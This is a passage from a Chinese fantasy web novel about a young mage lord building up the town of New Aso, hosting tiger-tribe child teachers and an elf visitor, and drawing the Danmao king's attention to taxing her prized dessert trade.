春季万物勃发，动植物也在孕育阶段，并不适合狩猎，就连以虎部落为首的兽神联盟都进入难得的休猎期。 这些人正好过来耕种，闲暇时间完全可以填补房舍，以备冬日。 大地在翻卷，像一条条深色土龙在泥海中跃动，眼前的一切瞬间面目全非。 所有人都被震撼了。 虽然早就听说这位年轻的领主大人是魔法师，非常强大，但几乎没人经历过魔法，所以到底有多么强大，完全没有概念。 现场一片死寂，只有冬末春初的狂风呼呼掠过，吹乱了所有人的头发、衣角，也带走了所有不安和忐忑。 不知过了多久，一位热泪盈眶的老妇人跪倒在地，虔诚地亲吻着瞬间被开好的荒地，又翻来覆去说着感谢的话。 这个时节的地面多么坚硬啊，锄头砸下去都要震得手臂痛，以往她们一天才能挖那么丁点儿！ 多么不可思议！ 这就是魔法的力量！ 面对一群群激动中夹杂着忐忑的陌生面孔，阿苗等人油然生出难言的骄傲： 啊，终究是我们快一步！ 曾经的养牛人们来得早，就住在城堡附近的核心区域，几乎每天都能跟夫人她们见面、问候，无论打水还是照顾菜园子、用餐，都非常便利。 而新来的这些都被安置在外围，靠近城墙。 虽说是为了方便照顾城外开垦的农田，但亲疏远近，瞬间体现。 接下来，玛雅夫人又为所有人制作了名册，房屋编号，让一个前养牛人带几个新成员，手把手教导后者各种规则。 作为过来人，阿苗等人都非常积极，教导起来也非常用心： “领主大人和夫人是真正的贵族，跟以前那些只知道闯祸的可恶老爷们可不一样，我们也要努力学习。 啊停下，你在干什么！听我说，领主大人可是一位尊贵的魔法师，魔法师你懂吗？你怎么敢在尊贵的魔法师生活的地方随地吐痰！ 跟我来，这边，领主大人说了，以后排泄都要集中在这里进行，这些东西可以拿来沤肥，庄稼才能长得高高的…… 另外，洗手，洗澡，是的，这是很重要的，新阿索城的居民无论走到哪里都要体体面面的，我们可是会经常跟精灵们打交道呢！你想让对方看笑话吗？ 什么？没想到！？哼，想成为真正的居民可不简单呢！领主大人什么都懂！” 稍后，阿苗还带领大家参观并详细讲解了水车、【集水】魔法阵等。 “除此之外，等到夏日最炎热的时期，领主大人还承诺会亲手绘制降温的水系魔法阵……” 什么？！ 降温？ 这是我们这些平民能接触到的东西吗？！ 所有人都激动到浑身发抖。 传说中的魔法阵！ 这意味着什么？ 旱涝保收！ 哪怕夏秋季节再干旱，也不会有人因为缺水而死去了！ 老天，这是多么伟大的奇迹！ 难怪所有王国都对魔法师那样尊敬，原来她们真的可以改变自然！ 了解了新城内部的配置后，新居民们就更不舍得走了，所以都很用心学，生怕哪里做得不好被赶出去。 云漠又往虎部落走了一趟。 兽神联盟的休猎期会一直持续到五月初，在这期间，大家都比较清闲，想来不会介意出来赚点外快。 因为之前两人就曾说过这件事，石斧并不意外，不过还是挠挠头，“我不太适合给普通人当老师……” 她的实力一部分源自天赋，没训练之前就能轻松搬动上百斤的巨石，另一部分则来自信仰。 而普通人往往既没有多少天赋，也不信仰兽神，确实没法儿教。 云漠点头，“我理解，所以想请你帮忙选几位。” 石斧挺喜欢云漠这个朋友，尤其听说威胁来自战争源头：丹茂王国之后，帮助之魂就开始熊熊燃烧。 “哼，我就说那些所谓的王族都不是什么好东西，华丽的衣装下全是坏心眼儿！我的朋友，虽然这么说有点难听，但你离开那里真不错！” 在石斧看来，你们都把人家撵到这儿来了，期间也没有任何帮助，还有什么脸收什么税呀！ 就该打！ 狠狠地打！ 没什么事情是打一顿解决不了的。 如果解决不了，就是打得不够狠。 石斧充满激情地向云漠阐述了战斗的必要性、可靠性之后，一锤定音，“管它什么税务官，全都打死！” 云漠：“……” 来到这边之后，我总因为自己不够激进而与周围格格不入。 一个两个的都是战争贩子嘛！ 不过……很有道理！ 石斧说得唾沫横飞，双眼发亮，不断做着各种战斗姿势，表示就该这么这么打，最后才带着云漠去找了几个部落中没成年的孩童。 “她们尚未经过严格的训练，现在所拥有的一切都是本能，整体实力偏低，倒是很适合给普通人类当老师。” 而且这些小孩儿平时也是玩，就算狩猎季缺席也不要紧。 几个小孩儿都很结实，皮肤晒得黑黑的，脸蛋鼓鼓的，都睁着明亮的大眼睛看云漠，七嘴八舌的问： “当老师？” “什么是老师？” “我们还能回来吗？” 她们健康，活泼，自信，浑身上下都流淌着野兽般的生机和活力，跟那几个饱受摧残的农耕文明的部族人类完全不同。 石斧哈哈大笑，云漠也忍不住笑着说：“老师么，就是像石斧教导你们那样教导别人。你们不光能回来，在我那边居住期间，每天都能喝到甜甜的糖水，吃到可口的点心，怎么样，不亏吧？” 石斧面带惊恐地看向云漠： 你认真的吗？ 你知道这几个看上去瘦巴巴的小东西有多能吃吗？！ 云漠回望：你们成年人更能吃。 集市贸易期间，石斧天天去甜品屋报道，每次都是直接“上一本”，光肉包子都能一口气吃几十个！ 石斧：“……” 那倒也是。 小孩子们都嘿嘿点头，“我去我去！” 多好玩儿啊！ 我也要打别人的屁股！ 石斧挨着撸了撸孩子们的脑瓜，亲手将她们的头发揉搓成鸡窝才心满意足的松开，还不忘威胁，“要听话，甜的东西不可以吃太多，牙齿会烂掉！” 虎部落的人日常运动量惊人，根本不用担心发胖，最怕的是牙齿损坏。 “知道啦！” 第66章 老师 那些虎部落的孩童们虽然没经过系统训练，但如何充分发挥身体的潜能？如何分辨周围环境的险恶？长期耳濡目染，这些技巧早已融入本能，像吃饭喝水那样简单。 她们年幼，活泼，浑身上下都有释放不完的精力，一点儿都不藏私，恨不得天天追在别人屁股后面教课。 嘿，谁不喜欢当老师，享受别人崇拜的目光呢？ 阿苗和小春跟她们年纪相仿，非常乐意主动接触新事物，每天都乐颠颠跟着，问东问西。 很快，她们从虎部落的新朋友们那里学到了不少有用的新知识： 辨认各种动物出没的痕迹，通过它们的粪便状态和进食量来判断野兽的健康状况、体型、体重，以便制作合理的围猎计划。 虎部落的人是天生的猎手和战士。 哪怕刚学会跑的孩子，也对几种常用的陷阱制作方式和标枪投掷姿势烂熟于心，轻松秒杀阿苗等人。 “你们要找到这种草，挤出汁液涂抹在皮肤上，这么做可以遮盖住人的气味，还能防止蚊虫叮咬。”虎部落的小姑娘说得头头是道，熟练地将那种草药在掌心揉碎，均匀涂抹在面部和耳后，“野兽的鼻子很灵的，它们可以从很远的地方闻到你们的味道，所以还要避开上风口，也要放缓呼吸。” 阿苗和小春大开眼界，好奇地凑过去闻，“竟然还能这样呀！” 难怪以前在养牛人部落时，大家一年到头都抓不到什么正经猎物，反而要被猎物撵得四处逃窜…… 教学之余，孩子们还会混在一起打闹，或者说借助打闹，学习基础的格斗技巧。 云漠跟着练了几天，发现个别动作有点像后世的五禽戏，都是通过模仿动物习性而来的，大开大合，非常野性，看起来似乎有拉伤的可能，但熟练之后，无论速度还是力量，都能获得较大幅度的提升。 还是那句话，人类这种双足直立行走的结构就注定了不适合原始厮杀，拉高上限的最佳方式就是尽可能地让自己像野兽，调动躯体的每一块肌肉和骨骼。 绝大部分人终身都不会觉醒魔法元素亲和，或爆发出武技，所以这种对于人体自身的开发是最实际的。 每当空闲时，玛雅姨妈就会带人围观，毫不吝啬地给予赞美。 很多时候，语言的力量超乎想象。 虎部落那几个小屁孩儿哪儿经历过这些，没几次就被夸得晕晕乎乎，飘飘然起来，于是更加积极，还会主动带着阿苗等人去外围挖兔子。 几天之后，她们就完全适应了这里的生活！ 每天都有吃不完的好吃的，那位温柔和气的夫人还会亲自带人为她们缝制好看的衣物呢！ 第一次穿时，几个小孩儿都有点不好意思，脸蛋红红的，手脚都不知该往哪里放了。 虎部落富余不假，但织物并不算便宜，又太容易破损，除非重大庆典，一般成员是没有资格穿的。 至少这些小孩子们，迄今为止还没有一件自己的织物呢！ “我们会小心穿的。” 打头那个小姑娘小心翼翼地说。 她好像忽然腼腆起来。 但这份小心没能持续太久： 当天下午，几名小伙伴就因为活动幅度过大，扯破了□□。 几个未来的小战士面面相觑，终于忍不住哇哇大哭起来。 阿苗和小春等人看得直挠头，想安慰却不知该如何开口。 这个……普通衣物的构造好像确实不太适合虎部落那种传统的大动作。 云漠和玛雅姨妈听见动静，出来一看，忍不住笑起来。 小战士们一看，哭得更凶了。 “好啦，”玛雅姨妈丢给云漠一个眼神，示意她收敛些，自己则过去挨着摸摸那些抽抽噎噎的小脑瓜，“再缝起来就好。” “真的吗？” “真的。” 很好，问题解决。 但这件事依旧给虎部落的小老师们留下不小的心理阴影，众人第二天就齐刷刷换回了兽皮裙，说要把织物留到重大庆典时再穿。 “哈！” 围墙外突然传来一声冷笑。 “谁呀？！” 阿苗大声问道，同时警惕地拉紧弓箭。 “在那里！” 有人突然扬起手臂，指着围墙外高高的树杈喊道。 一群萝卜头齐刷刷仰头看去： 哇！ “是精灵！” 发现是曾经与霍莉大人贸易过几次的熟悉的精灵，阿苗和小春立刻放下心来，笑眯眯的跟对方打招呼，“您好哇！” 紫叶稳稳立在树梢上，绿色的长发随风舞动，轻盈得像一片树叶。 精灵很少低头，此刻也不例外，站得笔直，只是垂下眼帘俯视着地上的人类和半兽人幼崽。 “精灵？” 虎部落的孩子们面面相觑，先愣了下，然后好像突然来了精神，竟接二连三爬上围墙，努力扒着墙头，用力仰起脸看着树上那名美丽异常的生物。 “你真的是精灵吗？” “你的头发为什么是绿色的？” “你的眼睛也是绿色的，你会开花吗？” “你会吃小孩儿吗？我们如果不听话，会被你们抓走吗？” 虎部落内部世代流传着关于精灵的传说，据说这是一种非常凶残、自私的魔法生物，还特别喜欢食用落单的幼崽。 虎部落上下严格限制幼崽和老弱与精灵们接触，也不许胡乱打听。 而孩子们那与生俱来的无尽好奇心却总是蠢蠢欲动。 她们未曾直面过战争的残酷，对长辈们描述的惨烈也只是一知半解…… 严格的日复一日的限制，反而进一步加强了孩子们的好奇心。 而这种精致非凡的魔法生物所带来的肉眼可见的美丽，瞬间就冲垮了本就脆弱的幼崽心理防线。 哇哦，精灵可真好看！ 紫叶：“……” 面对天真的人类幼崽，精灵一贯的尖锐刻薄仿佛全都打在棉花团里，绵软而无力。 紫叶听得懂人类世界惯用语，却懒得说，只是沉默片刻后突然做了个自以为凶狠的表情，露出两排雪白的牙齿，“嘶！” 墙头上的一排小脑瓜都被吓了一跳，整齐地向后仰去，“呀！” 恶作剧得逞的精灵得意的挑了挑眉毛，结果下一刻，却见那群可恶的幼崽哈哈大笑起来。 “精灵的牙齿是平的！” “精灵不吃人！” 长辈们说过，吃肉的野兽都有一副尖利的好牙口，只有吃草的动物才会任由牙齿长成方方正正的两排。 原来大人也会骗人呀。 紫叶：“……” 可恶的人类幼崽！ 精灵确实对兽神联盟的成员有偏见，见面不掐一架就浑身不舒服，甚至不介意在某些时候落井下石，但总有底线： 至少紫叶目前还做不到对无辜的幼崽出手。 精灵拉长了脸，甩下几句精灵语，骂骂咧咧地踩着树枝飞走了，留下满墙头遗憾的小崽子们。 紫叶没有远去，转头就绕过巡逻队伍，从后方翻越围墙，熟门熟路踩着城堡外壁爬上去敲三楼书房的窗子。 正埋头写铭文总结的云漠抬头一看，“……” 她有些无奈地过去开窗，放这位尊贵的不速之客进来，疲惫地捏了捏眉心，“拜托，你这样真的让我很没面子啊。” 显得人类巡逻队无用且多余！ 鬼知道第一次抬头看见窗外那张漂亮却倒挂的脸蛋时，云漠有多么惊悚。 这踏马可是三楼！ 而且这是我家！ 你预约了吗？敲门了吗？ 精灵引以为豪的礼仪见鬼去了吗？ 问明白之后，才知道是误会： 在附近巡逻的紫叶突然闻到虎部落人特有的“臭味儿”，细细分辨后愕然发现，竟然是从新阿索城领地内传来的，而且味道浓郁，显然不止一名！ 精灵心中的危险雷达立刻炸响，并在心中迅速脑补出一幅幅惨烈的画面： 固执的人类魔法师不听精灵的劝阻，终于落入所谓友情陷阱…… 新阿索城一定是被攻陷了！ 因为没闻到血腥味，紫叶猜测云漠还有生存的可能，就干脆利落地潜入…… 结果来了一次之后，紫叶发现人类对室内布置相当有一手： 书房内有非常宽大的座椅，座椅表面绷着细腻柔软的小羊皮，内部填充大量柔软的棉絮，躺在里面活像被风托起来一样，轻柔又舒适…… 精灵熟门熟路地把自己丢进柔软的大沙发里，发出一声得意的鼻音。 精灵的潜行本领出众，别说是一群临时拼凑的人类巡逻队，就连石斧那种级别的兽战士也未必能发现呢！ “今天你又过来干嘛？”旧相识了，云漠也恢复本性，懒得招待，甚至毫不客气地下逐客令，“我很忙，非常忙，忙得要命，有话赶紧说，说完赶紧走，不然就留下帮我写作业！” 最近她正忙着构思一个木系、水系共生铭文作品，但仍在设想阶段，整体回路不太成熟，向纳林霜老师阐述了理念后，对方便要求她仔细写一篇“论文”来。 紫叶迅速无视了她的最后一句，先语速飞快地抱怨了下她竟然真的允许兽神联盟的人进入领地，又说起前段时间提到的两族合作的事情。 新阿索城需要扩建，为保证各生活区之间的联系和通讯，云漠决定大规模修路。 考虑到以后对外交际，她就想借机把外围的道路也一块整修了。 不然没有路，驾车、运货都不方便，领地永远发展不起来。 不过这么一来，新阿索城的最南部规划区就无限接近冷水河主干，几乎跟精灵国度脸挨脸。 双方倒不介意做亲密邻居，只是中间区域要修整，于情于理都该征求彼此的意见，聆听对方的建议。 于是上次集市时，云漠就把想法告诉了银星，由银星向精灵族内部传达。 第67章 端倪 随着农田面积的扩大，云漠的领地范围也随之扩张，现有科技和巡逻队人数无法完全覆盖。 为方便管理，她计划在农田边缘修建一座木制哨楼，借助不同颜色的烟雾与城堡顶部的钟楼哨所相呼应，保障消息畅通。 考虑到新哨楼的位置和高度，势必会将部分精灵森林纳入视野范围内，非常容易引起误会，不打招呼实在不太好。 所幸过去一年内，云漠与精灵族上下建立的宝贵友谊发挥了巨大的作用，精灵王慷慨地表示了理解，承诺只要新阿索城的实体建筑不入侵，就不会干涉。 当然，前提是人类不做出什么可疑的举动，比如恶意窥探之类的。 这个要求极其合理，云漠没有任何意见。 双方达成一致后，一座木制哨楼便拔地而起。 哨楼四面有围墙，还有几间供人居住的屋子和马厩，同时承担勘察、示警和接待登记的功能。 但光秃秃的哨楼实在不大美观，也不够威风，云漠亲自往藤部落走了一趟下单，希望那边能帮忙织造一些带有她的新家徽的旗子和帘子什么的。 绿藤看过家徽终稿，当场拒绝。 “这太复杂了！” 原本那穿插着繁复线条的盾牌图案就够繁琐的了，现在，竟然还多了一条奇形怪状的龙！ 她都不敢想象要多久才能织出一寸！ “我的建议是彩绘，更生动灵活。”绿藤揉了揉看了一会儿就觉得酸痛的双眼，诚恳地说，“加一点儿特殊的矿石粉末就不会褪色，遇到烈日和大雨也不怕。” 云漠简单咨询了金钱和时间成本，“保真吗？” 那么的大面积，不会走形吧？ 颜料涂层的话，总觉得不保险呢。 绿藤果断摇头，“不保。” 只是建议嘛！ 这附近大大小小的部族几十个，就没见过这么复杂的图形！ 云漠：“……” 那还讲个鬼哦！ 熟悉之后，绿藤丝毫不觉尴尬，非常坦然地转移话题，“但我们可以为你提供特定颜色的布料。” 通常来讲，家徽或图腾都要承载在特定底色上，而这种底色也将作为贵族本人乃至整座城市、国家的主色调。 等秩序稳定下来，该色调将被赋予浓郁的政治色彩，频繁出现在各种祭祀和庆典上，并严格限制各种等级的居民穿着。 “红色！”云漠不假思索道，“血一样鲜艳，火一样炽热的红色！” 绿藤看了她一眼，“红色染料很贵。” 大自然中近红色染料不在少数，但符合云漠要求的那种热烈持久的红色染料并不多，培育和采集也相对艰难。 确定云漠需求后，绿藤还适当给出建议，“精灵族同样擅长编织，只是更贵一些……” 于是跟紫叶分别时，云漠又发起了一次织物贸易申请，“另外，我还需要一枚无法复制的专属印章。” 目前新阿索城登记的居民已经有150多人了，不久前正式成立了以玛雅姨妈为首的税务部，霍莉为首的贸易部，前任养牛人首领阿茜为首的畜牧部、青草为首的食品加工部、大河为首的后勤部等等，渐渐有了点正规城市的味道。 城市有了雏形，各方面也要纳入正轨，其中就包括发布领主令。 而印章则将作为判定领主令真伪的最直接标准，必须慎重对待。 比起织造，精灵族更闻名于世的是雕刻。 果然，紫叶迅速流露出一副“算你识货”的表情，“我推荐白晶，它几乎是现有最坚硬的宝石，除非配合特殊药水，否则很难在上面留下痕迹，非常美丽又实用。 曾经有愚蠢的人类委托矮人族锻造信物，但那种生物毫无信誉可言，曾做出复制印章、公然骗取物资的事情…… 云漠听得直龇牙。 她曾在精灵王的头冠上见过白晶，核桃大的那么一颗，确实美丽非凡： 近乎透明的晶体内部浮动着丝丝缕缕，云絮般轻盈的乳白色“图案”，灵动异常。 好看，好用，但能被精灵王选中作为饰品的，珍惜程度可想而知。 不过一切付出都将迎来回报。 当第一份盖有领主印章的文书张贴在新阿索城的布告栏中时，虽然绝大部分居民都不识字，但那鲜明的印章却令所有人心中的归属感油然而生。 啊，我们终于又走回了祖先的路，成了阿索城的居民。 虽然这座城市还很稚嫩，但年轻的领主倾尽全力，一切都在飞速发展： 城内外铺起宽敞平坦的道路，哪怕暴雨后，也干干净净的，而不是像别的地方那样污水横流，洋溢着粪便和垃圾。 内城紧挨着药田的位置设立了什么医院，领主大人亲自挑选了两名熟悉药材的居民，当众任命她们为医者，负责居民们的日常治疗和药田管理。 平民也能第一时间享受医药治疗什么的，这在别的领地是难以想象的。 更何况还是那样的低廉。 外城以农田为主，领主大人亲自跟藤部落合作得来的种子，出苗率很高，植株也粗壮，夏天连续几场大风大雨都没怎么刮倒，一点儿不耽误收成。 据富有种植经验的农民估算，这么一亩地少说也能结7、80斤呢！ 当时好多人都不敢相信。 真的能有这么多吗？ 而且领主大人无比仁慈慷慨，只要三成税！ 现在平均每位居民能分到三亩田，一亩70斤的话，三亩就是210斤！七成就是近150斤！ 每个人每年150斤小麦！ 而且大家还可以选择继续种土豆，收成更高！ 再配合采集和渔猎……饿不死了！ 天呐，饿不死了！ 这可真是了不起！ 农户们朴素的喜悦和满足如实传到云漠耳中。 她收获了空前的信仰之力，以及澎湃的满足感和成就感。 不得不说，印章的作用惊人。 第一份公文火热出炉的那一刻，她的心境瞬间就不同了。 仿佛实现了从草台班子到正规军的跨越。 从今往后，这一亩三分地上，我为王！ 很中二，但她很喜欢！ 有领主印章后，云漠开始尝试与附近几个经常出现在集市上的小型国家贸易团接触，以官方的立场和态度。 因为她魔法师的身份，几乎所有对象都展现出友好，甚至还有几名贵族表示，希望促成两边的甜品贸易。 “实不相瞒，我对贵店的点心十分念念不忘，家人和身边的朋友也表示了相当的兴趣……相较之下，份额实在不多。” 新阿索城的甜品火热到烫手！ 它们的美名已渐渐在周边几个国家的贵族圈子内传开，多的是人渴望品尝，奈何并非所有人都有机会赶来甜品屋。 而以现阶段新阿索城的产能，在保障了对精灵族、虎部落和藤部落几个大客户的固定供应之余，本身留给甜品屋的分量就不多了，更别提外销。 对这份喜爱，云漠矜持地表达了感谢，然后才解释说：“我们非常理解大家的感受，相信我，新阿索城竭诚为诸位服务，想必这个难题很快会解决的……” 夏天实在太热了，鸡蛋和牛奶的产量都受到很大影响。 而且这会儿可没什么防腐剂，交通也不发达，如果真任由客人们打包，跋涉数日甚至数十日带回遥远的异国他乡……早馊了！ 但秋天已经降临，冬天也要来了！ 甜品生意的黄金期，到了！ 很快，某个黄叶纷飞的下午，一份外卖点心盒子就摆到了丹茂国王的私人餐桌上。 点心盒子看上去平平无奇，只是打磨光滑，表面印着某个熟悉又陌生的纹样，而外层包裹的织物则精美异常，正面最上层带有与盒子上的印花一模一样的纹样，只不过是直接织上去的！ 这样精妙的技艺，连丹茂国王奥菲三世也忍不住多看了几眼。 “陛下，”点心盒子真正的主人，穆特大公说，“这样一份组合点心的外带礼盒，已经卖到5枚银币了。” 5枚银币？！ 银币的购买力惊人，平民可能劳作一年都换不回半枚，普通贵族一顿精致的下午茶可能也只价值1枚银币。 可现在你告诉我，不过两个巴掌大的小盒点心，竟然就要足足5枚银币？！ 即便有心理准备，奥菲三世也不禁吃了一惊，“难道真的是精灵产物？” “没错，”穆特大公点头，“我有个朋友，相当痴迷精灵艺术，非常肯定外层织物就是出自精灵族之手！” 奥菲三世沉默了。 说老实话，如果真的是精灵族的工艺品，实在不好说包装布和盒子里的点心究竟哪个更珍贵。 也难怪人类贵族趋之若鹜，这可是精灵手艺！ 要知道自从当年那该死的种族混战之后，丹茂王国和精灵族就彻底斩断了一切官方往来，后者更单方面宣布，哪怕有停战协议在，精灵族也不可能再次重启与丹茂王国的友谊。 这就导致丹茂王国内部的精灵产物越来越少，也越来越珍贵…… 而现在，有人竟然疯狂到拿精灵织物包裹点心？！ 该死的，那个大难不死的小丫头片子竟然真的获得了精灵族的友谊？ 该不会有关魔法师的传言是真的吧？ 奥菲三世的脸色都阴沉了起来。 “当初那个羊毛商人呢？” 他问。 记得第一条传言就是从他口中传出的。‘ 穆特大公面色尴尬，清了清嗓子才说：“陛下，那贱民已经逃走了……” 见到点心盒子的第一时间，穆特大公就想到了这一幕，所以立刻就派人去找了，结果人去房空！ 奥菲三世的脸色更黑了，仿佛随时都能挤出水来。 他有些不快。 一个商人而已，竟敢逃跑？ 为了掩饰愤怒，维持仪态，奥菲三世顺手打开了盒子，然后…… 空空如也！ 第68章 穆特大公：“……” 他看上去更尴尬了，眼神也有些飘忽。 其实穆特大公本来没想吃光的。 丹茂王国距离甜品屋相当遥远，哪怕骑快马也要跑数日，现在的天气不算太冷，等点心盒子到他手里时，明显已经不是最佳食用状态了。 而且像是易碎的蛋挞、蛋黄酥等酥皮点心，也都开裂、掉渣。 总不能这样呈现给陛下吧？ 再等到陛下召见，说不定就彻底坏掉了。 可就算是碎屑，那些金灿灿的薄薄的酥皮，也十分美丽，持续不断散发出诱人的甜香。 他情不自禁拿起一片来吃，发现味道意外的好，回过神来时，一枚蛋挞已经悄然下肚，口腔中残留着浓郁的奶香。 其实蛋挞皮已经发潮，并不酥脆了。 但是那种轻盈细腻、奶香醇厚的口感，仍令他欲罢不能。 穆特大公忍不住多看了几眼。 盒子里的点心数量都是固定的，现在蛋挞格子少了一枚，整体看上去就非常不协调。 本着“修整”的精神，短暂的迟疑过后，穆特大公果断将其余的所有点心都吃了一枚。 然后…… 原本点心盒子的空间与点心数量完美匹配，堆叠整齐，既不拥挤也不空旷，可现在缺了一枚，除果汁软糖这种体积小数量多的，勉强可以蒙混过关，云丝糖、蛋挞、焦糖布丁等的空缺都异常显眼！ 穆特大公借着饮茶左看右看，怎么都觉得稀稀拉拉，非常难看。 这种程度显然无法敬献给国王陛下。 于是穆特大公又果断做了第2个决定：吃光它们！ 最终就成了现在奥菲三世面对的样子：一个空盒子。 穆特大公清清嗓子，面不改色地说：“陛下，路途遥远，那些点心都已经坏掉了。” 奥菲三世目光深沉地瞥了他一眼，没有说话。 显然，这位国王陛下虽然不算太聪明，但面对这种堪称愚蠢的举动，也有些无法忍耐了。 这个蠢货，竟然也能凭借这样的猪脑子获得大公的爵位？父王当年到底是怎么想的！ 穆特大公有点儿后悔，连忙转移话题，“陛下，请您看盒子表面的纹饰！而且就这么一盒点心，竟然卖到5枚银币，难道不该让她纳税吗？” 不必穆特大公刻意提醒，奥菲三世已经注意到那枚崭新的纹饰。 通常来说，如果继任者着手更新家徽，就意味着一切步入正轨，领地开始正常运转。 毕竟如果连基本衣食住行都成问题的话，一个人是没有闲情逸致考虑这些的。 “5枚银币？”奥菲三世重复了一遍。 其实不管是5枚金币还是5枚银币，对喜好享乐的奥菲三世来说都没有什么分别，因为他从来没有真正经手过小额买卖，对于日常金钱的使用并没有确切的概念。 作为王，一份餐食花费数枚甚至数十枚金币再平常不过。 甚至为了举办宫廷宴会，奥菲三世曾不止一次地派人四处搜罗遗落的精灵美酒，搭建人鱼族织造的沁凉纱帐，换上矮人族精心打造的王冠……或许一天之内消耗的美酒、烤肉和奶油，就价值数百枚金币！ 区区5枚银币，又算得了什么呢？ 但是见穆特大公这样郑重，奥菲三世也意识到了，可能曾经被大家奉为笑谈的传言是真的： 克劳德家的那个小姑娘真的是名魔法师！ 如果真的是那样的话，那新阿索城将不再是众神遗弃之所，而是一只下金蛋的母鸡。 想到这里，奥菲三世立刻叫了税务官来。 既然如此，还不纳税，等着干什么呢！ 不过有一点奥菲三世很想不通，克劳德家的小姑娘离开王城时分明已经经历过几次魔法天赋检测，确认不会有成为魔法师的可能，怎么一到阿索城就…… 难道克劳德家族内部私藏了什么了不起的魔法道具，能够瞒过检测石？ 不然根本无法解释这一切！ 等待税务官到来的过程中，奥菲三世看向那个点心盒子的眼神已经变了： 都是我的！ 大约过了一杯茶的时间，胖胖的税务官匆忙赶来，先对着奥菲三世行礼，又简单地问候了穆特大公，一眼就看到了奥菲三世手边的点心盒子。 他对那昂贵的甜品也有所耳闻，之前还曾尝试托人帮忙带一份呢！ 不过税务官觉得，就是一份甜品罢了，他最多出到三个银币，然后就理所应当地没抢到。 这会儿听穆特大公说起价格，税务官差点尖叫出声。 5枚银币，他觉得大家都已经疯了。 奥菲三世懒得看税务官吝啬又贪婪的挣扎眼神，不耐烦地敲了敲王座扶手，“你来算算，如果要对阿索城收税，一年能有多少？” 税务官收敛思绪，“5枚银币是正式售价吗？” 奥菲三世愣了下，显然不明白其中的奥妙，穆特大公同样一脸呆滞。 哦，显示我本事的时候到了！ 税务官得意地挺起胸膛，故意将整件事说得非常复杂难懂，最后才不紧不慢地说：“根据王国法律，在独立领地内产生的税收要先扣除领主本人及其仆从、卫兵等的需求和经营成本，也就是说，如果克劳德领主以生活难以维持为理由上报，是有机会暂时不交税的……” 道理很简单，如果领主连自己的基本生活都维持不了了，哪儿来的余力纳税呢？ 显而易见，就连贪婪的税务官都觉得阿索城刚有了主人不满两年就想收税，未免有些太过急躁。 试问一座城池荒废了数十年之久，又要耗费多少时光复兴呢？ 猪都要养肥了再杀呢！ 奥菲三世看了穆特大公一眼，后者掏出手帕抹了下额头，“据说新阿索城很少对外销售甜食，通常只允许堂食……” 如果一定要带走，就会产生额外的包装费用。 店里有特制的点心盒子，由漂亮的木片拼接而成，中间隔成方方正正的小格子，分别由不同品种的点心填满，有6个的，8个的，12个的等到。 这样既美观又整洁，吃的时候也不容易串味道。 如果单独买里面的点心，凑够12枚也只要一枚银币。 银币要周围几个国家通用的，只看重量，如果不通用，就要价值1银币的货物。 只是因为大部分点心都被精灵族、虎部落等老客户提前预订了，甜品屋只是零散售卖，每天都要限量。 如果想要打包点心盒子，往往需要提前日排队，尤其显得珍贵。 据说甜品屋从不强制消费，可以直接用手抓着点心走。 但这不是要了贵族们的命嘛！ 所以不仅要盒子，还会在霍莉等人轻飘飘的推荐下，爽快掏银币购买一块精灵族出品的包装布。 又是一枚银币！ 但一切都值得！ 店员会当着你的面，当着所有顾客的面细细打包，最后用布条打成漂亮的蝴蝶结。 然后贵族们便会用幅度巨大的慢动作，提起点心盒子，慢吞吞地挪出去。 当然，整个过程中一定要将最能展现精灵织物的蝴蝶结亮出来！ 什么？ 你说这包装布不好看？ 开什么玩笑！这可是精灵族出品！ 你知道整片大陆上已经有多久没有精灵族产物公开流通了吗？100年！整整一百年！ 哪怕就是一根草，那也是最好看的！ 这是身份的象征！ 这样一份价值两枚银币的点心在平民看来已经是非常离谱了，可还有大量贵族抢不到。 不知从什么时候起，一种说法开始在各国贵族圈子内部疯狂流传： 曾经的娱乐已经过气了，现在最美味也最高贵的美食在阿索城！ 新阿索城，极致美味的风向标！ 没有去过新阿索城甜品屋的人，就不配说自己精通享乐！ 要身娇体弱的贵族们长途跋涉，可能有些困难，所以大家整齐地退而求其次，让人代劳。 据说甜品屋外挤满了周围各国贵族们派来蹲点抢购的仆从、马车和帐篷，原本四大集市以外的时间都空荡荡的营地热闹非凡。 有人停留就要吃喝，就会产生需求，附近几个部族和村镇的居民见了，便尝试着开始做生意。 于是人越聚越多，那一带俨然已经开始向城镇演变。 贵族们只顾炫耀，涉及到吃喝玩乐，拼了命都想赶在其他人前头，并不考虑价钱。 一旦自己买不到，就会想尽办法花高价从别人手里买，有精明的商人渐渐琢磨出门路，什么也不干，就专门去排队挨号。 原始黄牛就此诞生！ 两枚银币一盒的点心，只要出了这个门，转手就能卖到三枚，甚至四枚银币！ 还种什么地，卖什么皮毛呀！ 然后再经由专人运回各小国献上去，再算上快马轮换日夜吃的草料，就成了5枚银币。 纵然如此，依旧是有价无市。 有几个小国的王子为了攀比仍在不断加价。 听说现在已经加到了10枚银币，简直丧心病狂。 稍远一点的王国，哪怕抢到了点心，运回去时甚至都有点儿变味儿了，根本没人会吃。 但贵族们仍以此为乐，以此为傲，以展示自己的财富和实力。 这是一种权贵阶层特有的病态的攀比心。 听到这里，税务官胖胖的脸蛋上迅速泛起奇异的油光，被挤成两条缝隙的小眼睛里疯狂闪动着盘算。 加价，倒卖，这是什么？ 生意！ 任何一门在丹茂王国境内发生的买卖，都应该缴纳高昂的商业税！ “陛下，那些可恶的商人私自倒卖，却不老实上报，这不就是偷逃了本该上缴的税款吗？！” 第69章 游吟诗人 且不论晋升之路背后的真实秘辛，作为两代国王陛下跟前的红人，穆特大公显然有他的长处，比如说偶尔灵光一闪的拖后腿。 税务官刚双眼放光地提出加收高额商业税的建议，穆特大公就迅速提出疑惑：“但据说甜品屋规模不大，每天可以外带的食物并不多，再分散到各个国家就更少了。” 连王城现有的贵族需求都不能满足，可见产量确实可怜。 迄今为止，他也才抢到一盒！ 哪怕能收到七成的税，去掉成本，一单下来也才寥寥数枚银币，就目前甜品屋的产量，一年到头能有一枚金币吗？ 这么一算，税务官眼中尚未来得及燃烧的火焰，立刻熄灭了大半。 啧，穷鬼！ 见税务官陷入沉默，穆特大公意识到自己说到关键，难免有些得意，继续滔滔不绝地说：“而且现在大部分都是贵族自己的仆从带回来的，严格来说，算不上商业行为……” 他自己就是贵族，对这个群体的自私和狡诈深有体会，不从国库里往外搜刮就不错了，怎么可能允许税务官从他们身上刮油割肉？ 如果是从商人手中购买，自然算买卖，可仆人替主人跑腿儿买东西，有什么问题吗？ 我就馋了，打发仆人跑个腿儿，这也有错？ 这也要纳税？！ 开什么玩笑！ 